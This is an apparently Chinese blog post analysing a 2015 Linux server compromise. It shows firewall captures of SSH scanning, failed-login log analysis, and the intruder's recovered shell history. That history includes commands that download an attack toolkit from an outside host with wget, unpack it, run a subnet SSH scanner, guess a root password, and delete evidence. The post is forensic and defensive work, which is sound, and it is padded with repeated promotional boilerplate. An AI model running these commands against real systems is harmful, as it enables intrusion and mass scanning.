最后的话
最近很多小伙伴找我要Linux学习资料,于是我翻箱倒柜,整理了一些优质资源,涵盖视频、电子书、PPT等共享给大家!
资料预览
给大家整理的视频资料:
给大家整理的电子书资料:
如果本文对你有帮助,欢迎点赞、收藏、转发给朋友,让我有持续创作的动力!
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
2015年3月10日,还没到公司就被电话告知办公室无法正常连接互联网了,网速非常慢,无法正常浏览网页。急急忙忙感到公司,开始查找问题。
首先排除了交换机故障,因为内部局域网正常。当ping防火墙设备时,丢包严重。很明显,防火墙出了问题,撑不住了,其Web管理界面根本无法正常登陆。立即联系其服务商远程查找问题,经过近3个小时的分析,得出结论是网内有两台主机大量发送TCP数据包,瞬间就能在防火墙上造成40万链接数,大大超出了防火墙的处理能力,造成无法响应正常路由请求。我们暂且称这两台机器为A和B。把这两台机器断线之后,网路立刻正常了,防火墙上的链接数很快降低到正常水平。
主机A配置如下:
- OS - RedHat Enterprise Linux Server release 6.3
- 部署软件 - Tomcat,sshd, oracle
- RAM - 4GB
- CPU - Intel Core i3-2130
- IP地址 - 172.16.35.201(对外映射为59.46.161.39)
主机B为客户托管主机,具体配置不详。
本文只对主机A进行分析处理。
通过防火墙命令行界面,抓包发现A机器疯狂对一组IP地址进行22端口扫描。下面是抓包结果片段:
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:39895=====>183.58.99.130:22, packet=3, bytes=208[REPLY] 183.58.99.130:22=====>59.46.161.39:39895, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:33967=====>183.58.99.131:22, packet=3, bytes=208[REPLY] 183.58.99.131:22=====>59.46.161.39:33967, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:34117=====>183.58.99.132:22, packet=3, bytes=208[REPLY] 183.58.99.132:22=====>59.46.161.39:34117, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:54932=====>183.58.99.125:22, packet=3, bytes=208[REPLY] 183.58.99.125:22=====>59.46.161.39:54932, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:60333=====>183.58.99.135:22, packet=3, bytes=208[REPLY] 183.58.99.135:22=====>59.46.161.39:60333, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:52737=====>183.58.99.136:22, packet=3, bytes=208[REPLY] 183.58.99.136:22=====>59.46.161.39:52737, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:52291=====>183.58.99.137:22, packet=3, bytes=208[REPLY] 183.58.99.137:22=====>59.46.161.39:52291, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:46183=====>183.58.99.138:22, packet=3, bytes=208[REPLY] 183.58.99.138:22=====>59.46.161.39:46183, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:36864=====>183.58.99.139:22, packet=3, bytes=208[REPLY] 183.58.99.139:22=====>59.46.161.39:36864, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:34515=====>183.58.99.133:22, packet=3, bytes=208[REPLY] 183.58.99.133:22=====>59.46.161.39:34515, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:57121=====>183.58.99.134:22, packet=3, bytes=208[REPLY] 183.58.99.134:22=====>59.46.161.39:57121, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:37830=====>183.58.99.140:22, packet=3, bytes=208[REPLY] 183.58.99.140:22=====>59.46.161.39:37830, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:42742=====>183.58.99.141:22, packet=3, bytes=208[REPLY] 183.58.99.141:22=====>59.46.161.39:42742, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:55018=====>183.58.99.142:22, packet=3, bytes=208[REPLY] 183.58.99.142:22=====>59.46.161.39:55018, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:46447=====>183.58.99.143:22, packet=3, bytes=208[REPLY] 183.58.99.143:22=====>59.46.161.39:46447, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:51039=====>183.58.99.147:22, packet=3, bytes=208[REPLY] 183.58.99.147:22=====>59.46.161.39:51039, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:33123=====>183.58.99.146:22, packet=3, bytes=208[REPLY] 183.58.99.146:22=====>59.46.161.39:33123, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:35956=====>183.58.99.151:22, packet=3, bytes=208[REPLY] 183.58.99.151:22=====>59.46.161.39:35956, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:45002=====>183.58.99.145:22, packet=3, bytes=208[REPLY] 183.58.99.145:22=====>59.46.161.39:45002, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:54711=====>183.58.99.150:22, packet=3, bytes=208[REPLY] 183.58.99.150:22=====>59.46.161.39:54711, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:58976=====>183.58.99.155:22, packet=3, bytes=208[REPLY] 183.58.99.155:22=====>59.46.161.39:58976, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:37967=====>183.58.99.157:22, packet=3, bytes=208[REPLY] 183.58.99.157:22=====>59.46.161.39:37967, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:47125=====>183.58.99.158:22, packet=3, bytes=208[REPLY] 183.58.99.158:22=====>59.46.161.39:47125, packet=0, bytes=0
proto=6 TCP TCP_NS_ESTABLISHED,status:00001198,left_time:0s,172.16.35.201:35028=====>183.58.99.156:22, packet=3, bytes=208[REPLY] 183.58.99.156:22=====>59.46.161.39:35028, packet=0, bytes=0
可以清晰的看到,肉鸡扫描程序疯狂扫描一个网段内的22端口。
2 查找黑客行踪的方法
对于Linux主机,出现问题后分析和处理的依据主要是日志。/var/log/messages、/var/log/secure都是必不可少的分析目标,然后就是.bash_history命令记录。黑客登录主机必然会在日志中留下记录,高级黑客也许可以删除痕迹,但目前大部分黑客都是利用现成工具的黑心者,并无太多技术背景。该主机对外开放三个TCP侦听端口:
- 22 sshd
- 80 Tomcat
- 1521 Oracle
这三个服务都有可能存在漏洞而被攻击,最容易被扫描攻击的还是sshd用户名密码被破解。所以最先分析 /var/log/secure日志,看登录历史。
3 沦陷过程分析
3.1 oracle用户密码被破解
分析/var/log/secure日志。不看不知道一看吓一跳,该日志已经占用了四个文件,每个文件都记录了大量尝试登录的情况,执行命令:
cat secure-20150317 | grep 'Failed password' | cut -d " " -f 9,10,11 | sort | uniq
得到
invalid user admin
invalid user dacx
invalid user details3
invalid user drishti
invalid user ferreluque
invalid user git
invalid user hall
invalid user jparksu
invalid user last
invalid user patrol
invalid user paul
invalid user pgadmin
invalid user postgres
invalid user public
invalid user sauser
invalid user siginspect
invalid user sql
invalid user support
invalid user sys
invalid user sysadmin
invalid user system
invalid user taz
invalid user test
invalid user tiptop
invalid user txl5460
invalid user ubnt
invalid user www
mysql from 10.10.10.1
oracle from 10.10.10.1
root from 10.10.10.1
可以看出攻击程序不断采用不同的账户和密码进行尝试。然后在接近尾部的地方发现如下2行,说明被攻破了。
Mar 9 20:35:30 localhost sshd[30379]: Accepted password for oracle from 10.10.10.1 port 56906 ssh2
Mar 9 20:35:30 localhost sshd[30379]: pam_unix(sshd:session): session opened for user oracle by (uid=0)
可见账户oracle的密码被猜中,并成功登入系统。
3.2 黑客动作推演
下面看看黑客用oracle账户都做了什么。首先复制一份oracle的命令历史,防止后续操作丢失该记录。
cp /home/oracle/.bash_history hacker_history
然后查看分析这个文件。 我在后面备注了黑客的想法。
1 vi .bash_profile
2 vi .bash_profile (查看.bash_profile,看变量设置,把/home/oracle/bin增加到PATH)
3 ll
4 cd /
5 vi .bash_profile
6 vi .bash_profile (执行,设置环境变量)
7 w
8 ps x (查看系统运行进程)
9 free -m (查看内存大小)
10 uname -a (查看系统版本)
11 cat /etc/issue (查看系统发行版)
12 cat /etc/hosts (查看是否有网内机器)
13 cat /proc/cpuinfo (查看CPU型号)
14 cat .bash_history (查看oracle账户历史操作)
15 w (查看系统负载)
16 ls -a (查看/home/oracle/下的隐藏文件)
17 passwd (修改掉oracle账户的密码)
18 exit
19 ls
20 oracle
21 sqlplus (运行sqlplus)
22 su (试图切换到root账户)
23 app1123456 (猜测root密码)
24 ls
25 su -
26 w
27 free -m
28 php -v (查看php版本)
29 exit
30 w
31 free -m
32 php -v
33 ps aux
34 ls -a
35 exit
36 w
37 free -m
38 php -v
39 cat bash_his (查看历史命令)
40 cat bash_history
41 cat .bash_history
42 wget scriptcoders.ucoz.com/piata.tgz (下载肉鸡攻击软件包)
43 tar zxvf piata.tgz (解压软件包)
44 rm -rf piata.tgz (删除软件包)
45 cd piata/ (切换到攻击软件目录)
46 ls -a
47 chmod +x *
48 ./a 210.212 (运行攻击软件)
49 screen (试图运行screen命令,发现没有后下载它)
50 ls -a
51 wget scriptcoders.ucoz.com/screen.tgz
52 tar zxvf screen.tgz (解压)
53 ./screen
54 exit
55 w
56 ps x
57 cd piata/ (切换到攻击软件目录)
58 ls -a
59 cat vuln.txt (查看攻击结果)
60 ls -a
61 mv vuln.txt 1.txt (保存攻击结果)
62 ./screen -r
63 nano 1.txt (查看结果文件)
64 w
65 ps x
66 exit
67 cd piata
68 ps x
69 ls -a
70 nano 2.txt
71 exit
72 w
73 ps x
74 cd piata/
75 ls -a
76 cat
77 mv vuln.txt 2.txt (保存结果)
78 nano 2.txt
79 w
80 ps x
81 cd piata/
82 ls- a
83 cat vuln.txt
84 rm -rf vuln.txt
85 ./screen -r
86 exit
87 w
88 ps x
89 cd piata/
90 ls -a
91 cat vuln.txt
92 ls -a
93 mv vuln.txt 3.txt (保存结果)
94 nano 3.txt
95 exit
96 w
97 ps x
98 cd piata/
99 ls -a
100 cat vuln.txt
101 rm -rf vuln.txt
102 exit
103 w
104 ps x
105 cd piata/
106 ls -a
107 cat vuln.txt
108 rm -rf vuln.txt
109 rm -rf 1.txt
110 rm -rf 2.txt
111 rm -rf 2.txt.save
112 rm -rf 3.txt
113 screen -r
114 ./screen -r
115 exit
116 w
117 ps x
118 cd piata/
119 ls -a
120 cat vuln.txt
121 ls -a
122 nano vuln.txt
### 最后的话
最近很多小伙伴找我要Linux学习资料,于是我翻箱倒柜,整理了一些优质资源,涵盖视频、电子书、PPT等共享给大家!
### 资料预览
给大家整理的视频资料:
![](https://img-blog.csdnimg.cn/img_convert/dc364f51ddcd1af0145e6b70367224d2.png)
给大家整理的电子书资料:
![](https://img-blog.csdnimg.cn/img_convert/fb5efeaf003bfd929f7e38f3be8267b4.png)
**如果本文对你有帮助,欢迎点赞、收藏、转发给朋友,让我有持续创作的动力!**
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化的资料的朋友,可以点击这里获取!](https://bbs.csdn.net/topics/618635766)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
转存中...(img-LP0a8QSo-1715813787995)]
**如果本文对你有帮助,欢迎点赞、收藏、转发给朋友,让我有持续创作的动力!**
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化的资料的朋友,可以点击这里获取!](https://bbs.csdn.net/topics/618635766)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**